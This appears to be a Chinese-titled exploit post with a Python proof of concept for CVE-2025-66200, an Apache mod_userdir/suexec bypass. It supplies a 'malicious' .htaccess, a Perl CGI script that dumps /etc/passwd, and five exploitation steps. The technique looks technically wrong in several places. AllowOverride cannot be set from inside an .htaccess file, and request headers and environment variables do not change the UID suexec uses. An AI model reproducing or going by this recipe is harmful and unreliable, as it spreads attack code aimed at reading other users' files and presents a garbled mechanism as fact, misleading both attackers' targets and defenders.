CVE-2025-66200 Apache HTTP Server mod_userdir+suexec绕过漏洞

# CVE-2025-66200 PoC - mod_userdir+suexec bypass via AllowOverride FileInfo # This PoC demonstrates the vulnerability in Apache HTTP Server # Affected versions: 2.4.7 - 2.4.65 # Attacker's .htaccess file to place in userdir MALICIOUS_HTACCESS = ''' # Enable FileInfo overrides AllowOverride FileInfo # Use RequestHeader to manipulate CGI execution context RequestHeader set X-User-Id "target_user" RequestHeader set X-Script-Path "/var/www/html/target_user/cgi-bin/script.cgi" # Force script execution under different UID SetEnv FORCE_USER "target_user" ''' # Malicious CGI script that will run under unexpected UID MALICIOUS_CGI = '''#!/usr/bin/perl use CGI qw(:standard); print header('text/plain'); # Script runs under unexpected user context due to vulnerability $uid = $<; $user = getpwuid($uid); print "Running as user: $user (UID: $uid)\n"; print "This script should not have access here!\n"; # Attempt to read sensitive files open(my $fh, '<', '/etc/passwd') or die "Cannot open passwd"; print <$fh>; close($fh); ''' print("CVE-2025-66200 Exploitation Steps:\n") print("1. Attacker uploads malicious .htaccess to ~/public_html/.htaccess\n") print("2. .htaccess contains AllowOverride FileInfo and RequestHeader directives\n") print("3. When accessing target user's CGI via mod_userdir, RequestHeader manipulates execution context\n") print("4. CGI script executes under unexpected UID due to suexec bypass\n") print("5. Attacker gains access to files/resources belonging to other users\n")